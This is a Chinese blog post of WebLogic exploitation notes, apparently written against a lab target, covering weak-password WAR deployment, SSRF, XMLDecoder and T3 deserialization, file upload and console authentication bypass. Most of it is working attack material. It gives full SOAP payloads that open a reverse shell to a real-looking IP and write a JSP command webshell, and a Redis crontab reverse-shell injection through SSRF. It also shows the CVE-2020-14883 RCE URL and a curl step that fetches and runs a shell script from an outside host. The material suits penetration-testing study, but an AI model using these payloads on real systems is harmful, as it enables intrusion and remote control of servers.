java组件漏洞——WebLogic

weblogic

Oracle WebLogic server是一个基于javaEE服务器,运行于java网站和java应用程序
默认端口:7001
默认页面:404
版本号:10.3.6.0

1.后台弱口令文件部署漏洞

  1. 默认密码登录
  2. 后台

制作webshell的war包

jar -cvf 文件名.war webshell文件名.jsp

上传war包

点击完成即可

http://192.168.75.129:7001/war包的名字去掉war/war包里面的webshell文件名

2.SSRF

weblogic的SSRF漏洞只能用http协议

  1. 测试SSRF漏洞是否存在

访问接口 /uddiexplorer/

之后去抓包

这个URL存在SSRF漏洞

之后去获取一个域名进行DNSlog测试漏洞

点击发送,在去collaborate中poll now

  1. 通过ssrf漏洞测试内网端口

http 测试端口,如果报错有“could not connect over”说明目标ip对应的端口没开

http 测试端口,如果报错有“Received a response from url”说明目标ip对应的端口开启

  1. SSRF漏洞攻击内网服务

SSRF在weblogic中用不了gopher,只能用http打redis ,redis 会认为 %0d%0a 是命令的回车换行

test
set a "\n\n\n\n*/1 * * * * root bash -c 'sh -i >&
/dev/tcp/82.156.230.169/9999 0>&1'\n\n\n\n"
config set dir /etc/
config set dbfilename crontab
save
aaa

发送请求,攻击机开启监听

3.XMLDecode 反序列化

weblogic /CVE-2017-10271

其中使用了XMLDecoder来解析用户传入的XML数据,在解析的过程中出现反序列化漏洞,导致可执行任意命令

XMLDecoder 反序列化没有 readObject 方法,没有所谓的 cc 、cb、urldns链,直接构造 xml 语句,使用 java.beans.XMLDecode 类调用 RCE 方法,如 Runtime.getRuntime.exec ProcessBuild.start

攻击:反弹shell

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/"> <soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java version="1.4.0" class="java.beans.XMLDecoder">
<void class="java.lang.ProcessBuilder">
<array class="java.lang.String" length="3">
<void index="0">
<string>/bin/bash</string>
</void>
<void index="1">
<string>-c</string>
</void>
<void index="2">
<string>bash -i &gt;&amp; /dev/tcp/82.156.230.169/9999 0&gt;&amp;1</string>
</void>
</array>
<void method="start"/></void>
</java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

攻击:写webshell

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
<soapenv:Header>
<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
<java><java version="1.4.0" class="java.beans.XMLDecoder">
<object class="java.io.PrintWriter"> 
<string>servers/AdminServer/tmp/_WL_internal/bea_wls_internal/9j4dqk/war/kls.jsp</string>
<void method="println"><string>
<![CDATA[
<%@ page import="java.io.*" %>
<% String cmd = request.getParameter("cmd"); String output = ""; if(cmd != null) { String s = null; try { Process p = Runtime.getRuntime().exec(cmd); BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream())); while((s = sI.readLine()) != null) { output += s +"\r\n"; } } catch(IOException e) { e.printStackTrace(); } } out.println(output);%>
]]>
</string>
</void>
<void method="close"/>
</object></java></java>
</work:WorkContext>
</soapenv:Header>
<soapenv:Body/>
</soapenv:Envelope>

访问的uri是 /bea_wls_internal/webshell的名字

4.T3反序列化

https://github.com/jas502n/CVE-2018-2628

前提:python的版本必须是2版本,3版本及以上不行

T3协议是Oracle WebLogic Server中一种专有、高效的通信协议,建立在TCP/IP之上,用于实现WebLogic服务器与客户端(包括其他Java应用)之间的高性能RMI(远程方法调用)通信和数据传输。

同一个版本weblogic出现的t3反序列化漏洞利用链一样,可以直接找脚本打,脚本一般会把常见的利用链,如 cb1 链封装成 t3 协议再进行攻击。

python CVE-2018-2628-Getshell.py 目标IP 7001 shell1.jsp

weblogic 修复 t3 反序列化的方式,是版本更新时,加入反序列化利用链(如cb1链)黑名单,让链子无法使用

t3 反序列化一直没有消失,只是没有利用链,如果有人挖掘出新的利用链,就是0day,比如

  • CVE-2025-21535
  • CVE-2024-21216
  • CVE-2023-21839
  • CVE-2021-2394
  • CVE-2020-2883
  • CVE-2020-2555
    上述漏洞都是绕过了 t3 的黑名单拦截

5. 后台文件上传

weblogic/CVE-2018-2894

访问登录页面/console

执行docker compose logs | grep password 查看管理员密码

用户名为weblogic

登录后台后,点击base_domain配置,在“高级”选项中启用“启用 Web 服务测试页面”选项:

作为攻击者,访问http://192.168.75.129:7001/ws_utc/config.do并设置工作主目录/u01/oracle/user_projects/domains/base_domain/servers/AdminServer/tmp/_WL_internal/com.oracle.webservices.wls.ws-testclient-app-wls/4mcj4y/war/css。我们将目录设置为ws_utc应用程序的静态文件 CSS 目录,因为该目录无需权限即可访问,这一点至关重要

然后点击“安全”->“添加”,上传一个webshell:

上传完成后,检查返回的数据包,其中应包含时间戳:

然后访问http://192.168.75.129:7001/ws_utc/css/config/keystore/1767769204857_cmd.jsp?cmd=id以下地址执行 webshell:

6. 未授权访问+命令执行

CVE-2020-14882

未授权访问,无需密码直接登录后台

/console/css/%252e%252e%252fconsole.portal

CVE-2020-14883

weblogic 后台 RCE

/console/css/%252e%252e%252fconsole.portal?_nfpb=true&_pageLabel=&handle=com.tangosol.coherence.mvel2.sh.ShellSession("java.lang.Runtime.getRuntime().exec('touch%20/tmp/success1');")

反弹shell:

  1. 在服务器上创建脚本 1.sh

  1. 在服务器上开启 http监听 python2 -m SimpleHTTPServer

  1. 在目标靶机下载 1.sh
curl http://62.234.40.6:8000/xiaohe.sh -o /tmp/xiaohe.sh

  1. 在服务器开启 nc tcp 监听 nc -lvnp 7777
  1. 在目标靶机执行 /tmp/xiaohe.sh
bash /tmp/xiaohe.sh

执行成功即可得到shell

7. T3 反序列化 - JNDI 注入

CVE-2023-21839

一定要改攻击机地址

python CVE-2023-21839.py -ip weblogic地址 -p7001 -l 你的ldap链接

posted @ 2026-09-23 19:00  xiaohe666  阅读(2)  评论(0)    收藏  举报